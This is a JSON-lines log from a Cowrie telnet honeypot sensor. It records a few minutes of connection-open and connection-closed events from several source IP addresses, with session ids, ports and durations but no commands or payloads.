{"eventid":"cowrie.session.closed","duration":31.96820569038391,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:57.776894Z","src_ip":"64.227.9.242","session":"f2f193964441","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67750382423401,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:58.117239Z","src_ip":"104.167.8.156","session":"3b669440fbeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.94494652748108,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:58.389656Z","src_ip":"188.208.141.113","session":"885791b29a86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.138044118881226,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:58.535498Z","src_ip":"104.167.8.156","session":"3d9503ddc846","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":46008,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c7e667d6d72","protocol":"telnet","message":"New connection: 104.167.8.156:46008 (10.17.0.5:23) [session: 4c7e667d6d72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:58.715452Z"}
{"eventid":"cowrie.session.closed","duration":2.0232934951782227,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:59.523633Z","src_ip":"188.208.141.113","session":"ae84d9055919","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.270880460739136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:00.704604Z","src_ip":"98.70.41.28","session":"ceddfabcee9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47407555580139,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:01.274512Z","src_ip":"104.167.8.156","session":"fc4ce8840fe7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45210,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a8318e05214","protocol":"telnet","message":"New connection: 104.167.8.156:45210 (10.17.0.5:23) [session: 1a8318e05214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:01.497357Z"}
{"eventid":"cowrie.session.closed","duration":31.503241062164307,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:01.860246Z","src_ip":"104.167.8.156","session":"125349281bf7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.58777093887329,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:01.920687Z","src_ip":"104.167.8.156","session":"fafff76434b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59216,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6f1cb525bfb","protocol":"telnet","message":"New connection: 104.167.8.156:59216 (10.17.0.5:23) [session: e6f1cb525bfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:02.127295Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59956,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9b69878d61c","protocol":"telnet","message":"New connection: 104.167.8.156:59956 (10.17.0.5:23) [session: c9b69878d61c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:02.255386Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":60770,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3102b41d451","protocol":"telnet","message":"New connection: 104.167.8.156:60770 (10.17.0.5:23) [session: f3102b41d451]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:02.449734Z"}
{"eventid":"cowrie.session.closed","duration":31.23519730567932,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:02.754844Z","src_ip":"104.167.8.156","session":"80a774e99192","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.442095279693604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:02.794451Z","src_ip":"104.167.8.156","session":"4db1f3405475","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35314,"dst_ip":"10.17.0.5","dst_port":23,"session":"d429686c49c2","protocol":"telnet","message":"New connection: 104.167.8.156:35314 (10.17.0.5:23) [session: d429686c49c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:03.172339Z"}
{"eventid":"cowrie.session.closed","duration":45.76247262954712,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:03.200393Z","src_ip":"188.208.141.113","session":"c5c86de470c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11542320251465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:03.466846Z","src_ip":"104.167.8.156","session":"9902f18270e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.294198751449585,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:03.605336Z","src_ip":"104.167.8.156","session":"ea4d7daa4457","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.187176942825317,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:03.712989Z","src_ip":"104.167.8.156","session":"0f73233c43c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44534,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4ff002acd1c","protocol":"telnet","message":"New connection: 188.208.141.113:44534 (10.17.0.5:23) [session: f4ff002acd1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:04.161726Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44494,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ca79a09956d","protocol":"telnet","message":"New connection: 104.167.8.156:44494 (10.17.0.5:23) [session: 1ca79a09956d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:05.323052Z"}
{"eventid":"cowrie.session.closed","duration":30.78766679763794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:05.459594Z","src_ip":"104.167.8.156","session":"876867814766","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23482894897461,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:06.107269Z","src_ip":"104.167.8.156","session":"8d9700e69f06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.1304714679718,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:06.384272Z","src_ip":"188.208.141.113","session":"96e71cbc3744","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44538,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d1049daec5d","protocol":"telnet","message":"New connection: 188.208.141.113:44538 (10.17.0.5:23) [session: 0d1049daec5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:06.952688Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47868,"dst_ip":"10.17.0.5","dst_port":23,"session":"c08449c55164","protocol":"telnet","message":"New connection: 104.167.8.156:47868 (10.17.0.5:23) [session: c08449c55164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:07.115086Z"}
{"eventid":"cowrie.session.closed","duration":30.242445707321167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:07.165223Z","src_ip":"104.167.8.156","session":"5c0b9532090b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36522603034973,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:07.382210Z","src_ip":"104.167.8.156","session":"eb599341ca7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":60474,"dst_ip":"10.17.0.5","dst_port":23,"session":"6573d80158c6","protocol":"telnet","message":"New connection: 104.167.8.156:60474 (10.17.0.5:23) [session: 6573d80158c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:09.014040Z"}
{"eventid":"cowrie.session.closed","duration":30.663501977920532,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:09.163192Z","src_ip":"104.167.8.156","session":"2fe4788241a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44548,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae306be17c19","protocol":"telnet","message":"New connection: 188.208.141.113:44548 (10.17.0.5:23) [session: ae306be17c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:10.254726Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39982,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d1c7e3a5c0e","protocol":"telnet","message":"New connection: 104.167.8.156:39982 (10.17.0.5:23) [session: 4d1c7e3a5c0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:10.811093Z"}
{"eventid":"cowrie.session.closed","duration":31.321189165115356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:10.965974Z","src_ip":"104.167.8.156","session":"0bc05446a5ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.710365772247314,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:11.521200Z","src_ip":"188.208.141.113","session":"8b61fbabc256","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.87119102478027,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:11.618683Z","src_ip":"188.208.141.113","session":"62aaa16ba10c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.071569442749023,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:12.776039Z","src_ip":"104.167.8.156","session":"e452ac4f2cc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.6351273059845,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:14.492557Z","src_ip":"188.208.141.113","session":"16f0abda0f92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":53042,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7f14d536bcb","protocol":"telnet","message":"New connection: 98.70.41.28:53042 (159.203.135.109:23) [session: d7f14d536bcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:15.027936Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59372,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a3ecd8f8ceb","protocol":"telnet","message":"New connection: 104.167.8.156:59372 (10.17.0.5:23) [session: 6a3ecd8f8ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:15.129539Z"}
{"eventid":"cowrie.session.closed","duration":42.233062744140625,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:15.150459Z","src_ip":"188.208.141.113","session":"99235e5da238","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37172,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c357a5a5dc4","protocol":"telnet","message":"New connection: 188.208.141.113:37172 (10.17.0.5:23) [session: 7c357a5a5dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:15.571632Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37174,"dst_ip":"10.17.0.5","dst_port":23,"session":"035201f26398","protocol":"telnet","message":"New connection: 188.208.141.113:37174 (10.17.0.5:23) [session: 035201f26398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:16.096891Z"}
{"eventid":"cowrie.session.closed","duration":35.558207273483276,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:16.137506Z","src_ip":"188.208.141.113","session":"b8aa89e4c045","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.032776832580566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:16.840721Z","src_ip":"104.167.8.156","session":"be24ac70ccc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.30648446083069,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:17.200887Z","src_ip":"104.167.8.156","session":"caf52d4b6b10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":41292,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1ce8f801112","protocol":"telnet","message":"New connection: 104.167.8.156:41292 (10.17.0.5:23) [session: c1ce8f801112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:17.402320Z"}
{"eventid":"cowrie.session.closed","duration":30.558010578155518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:17.430695Z","src_ip":"104.167.8.156","session":"68a995c0bb47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56350,"dst_ip":"10.17.0.5","dst_port":23,"session":"cac78e0fcb15","protocol":"telnet","message":"New connection: 104.167.8.156:56350 (10.17.0.5:23) [session: cac78e0fcb15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:17.476480Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56578,"dst_ip":"10.17.0.5","dst_port":23,"session":"20b17cfc8449","protocol":"telnet","message":"New connection: 104.167.8.156:56578 (10.17.0.5:23) [session: 20b17cfc8449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:17.528319Z"}
{"eventid":"cowrie.session.closed","duration":31.207630157470703,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:18.504128Z","src_ip":"104.167.8.156","session":"680404942e5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.59883737564087,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:18.625756Z","src_ip":"188.208.141.113","session":"d2aedf40f6ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.881269931793213,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:18.994669Z","src_ip":"104.167.8.156","session":"565576fb0ada","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36104,"dst_ip":"10.17.0.5","dst_port":23,"session":"02fe570b08aa","protocol":"telnet","message":"New connection: 104.167.8.156:36104 (10.17.0.5:23) [session: 02fe570b08aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:19.240258Z"}
{"eventid":"cowrie.session.closed","duration":31.013848066329956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:20.192800Z","src_ip":"104.167.8.156","session":"71cc770d723f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.039053201675415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:20.416075Z","src_ip":"104.167.8.156","session":"7c0c38c3b02b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.333194255828857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:20.517339Z","src_ip":"104.167.8.156","session":"0bc0f411368c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.576515674591064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:22.027773Z","src_ip":"104.167.8.156","session":"4da355a078fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17847967147827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:22.409566Z","src_ip":"104.167.8.156","session":"c4fd527911ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35066,"dst_ip":"10.17.0.5","dst_port":23,"session":"44dcef017b9e","protocol":"telnet","message":"New connection: 104.167.8.156:35066 (10.17.0.5:23) [session: 44dcef017b9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:22.430164Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35338,"dst_ip":"10.17.0.5","dst_port":23,"session":"93adaf1088c2","protocol":"telnet","message":"New connection: 104.167.8.156:35338 (10.17.0.5:23) [session: 93adaf1088c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:22.492541Z"}
{"eventid":"cowrie.session.closed","duration":31.185094356536865,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:22.829310Z","src_ip":"104.167.8.156","session":"89b2a9bec322","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33122,"dst_ip":"10.17.0.5","dst_port":23,"session":"2afa3d33bbc3","protocol":"telnet","message":"New connection: 104.167.8.156:33122 (10.17.0.5:23) [session: 2afa3d33bbc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:22.998749Z"}
{"eventid":"cowrie.session.closed","duration":30.33021116256714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:23.113866Z","src_ip":"104.167.8.156","session":"931817a66baa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38916,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8a334d6a11c","protocol":"telnet","message":"New connection: 104.167.8.156:38916 (10.17.0.5:23) [session: c8a334d6a11c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:23.364120Z"}
{"eventid":"cowrie.session.closed","duration":30.155638456344604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:24.128662Z","src_ip":"104.167.8.156","session":"0a9d91f5a638","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.433066606521606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:24.160201Z","src_ip":"104.167.8.156","session":"39ab8cf3050c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.55444383621216,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:24.631177Z","src_ip":"188.208.141.113","session":"ba9551b6198e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43012,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff00d8c164e8","protocol":"telnet","message":"New connection: 104.167.8.156:43012 (10.17.0.5:23) [session: ff00d8c164e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:25.256445Z"}
{"eventid":"cowrie.session.closed","duration":31.403581142425537,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:25.687735Z","src_ip":"104.167.8.156","session":"fa15ccddd876","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43824,"dst_ip":"10.17.0.5","dst_port":23,"session":"72ae2e02f11b","protocol":"telnet","message":"New connection: 188.208.141.113:43824 (10.17.0.5:23) [session: 72ae2e02f11b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:25.847705Z"}
{"eventid":"cowrie.session.closed","duration":30.426677703857422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:26.075793Z","src_ip":"104.167.8.156","session":"f9a1c08a6090","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":52634,"dst_ip":"159.203.135.109","dst_port":23,"session":"f222dd4fef4b","protocol":"telnet","message":"New connection: 98.70.41.28:52634 (159.203.135.109:23) [session: f222dd4fef4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:27.027764Z"}
{"eventid":"cowrie.session.closed","duration":30.552499055862427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:27.059411Z","src_ip":"104.167.8.156","session":"1ba8f4b97b7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.309348821640015,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:28.828338Z","src_ip":"64.227.9.242","session":"ee313e70ce8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43840,"dst_ip":"10.17.0.5","dst_port":23,"session":"258f37470ed0","protocol":"telnet","message":"New connection: 188.208.141.113:43840 (10.17.0.5:23) [session: 258f37470ed0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:29.041297Z"}
{"eventid":"cowrie.session.closed","duration":30.361789226531982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:29.077152Z","src_ip":"104.167.8.156","session":"4c7e667d6d72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33588,"dst_ip":"10.17.0.5","dst_port":23,"session":"995d70cc105c","protocol":"telnet","message":"New connection: 104.167.8.156:33588 (10.17.0.5:23) [session: 995d70cc105c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:29.482914Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":52648,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e52afcd5ba8","protocol":"telnet","message":"New connection: 98.70.41.28:52648 (159.203.135.109:23) [session: 1e52afcd5ba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:29.627943Z"}
{"eventid":"cowrie.session.closed","duration":120.00146842002869,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:30.362405Z","src_ip":"98.70.41.28","session":"c38959f943cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.194639444351196,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:30.543963Z","src_ip":"188.208.141.113","session":"ac50575430d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00191402435303,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:31.008047Z","src_ip":"98.70.41.28","session":"3f4ca0715958","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":60436,"dst_ip":"159.203.135.109","dst_port":23,"session":"b74b85126216","protocol":"telnet","message":"New connection: 64.227.9.242:60436 (159.203.135.109:23) [session: b74b85126216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:44:31.080614Z"}
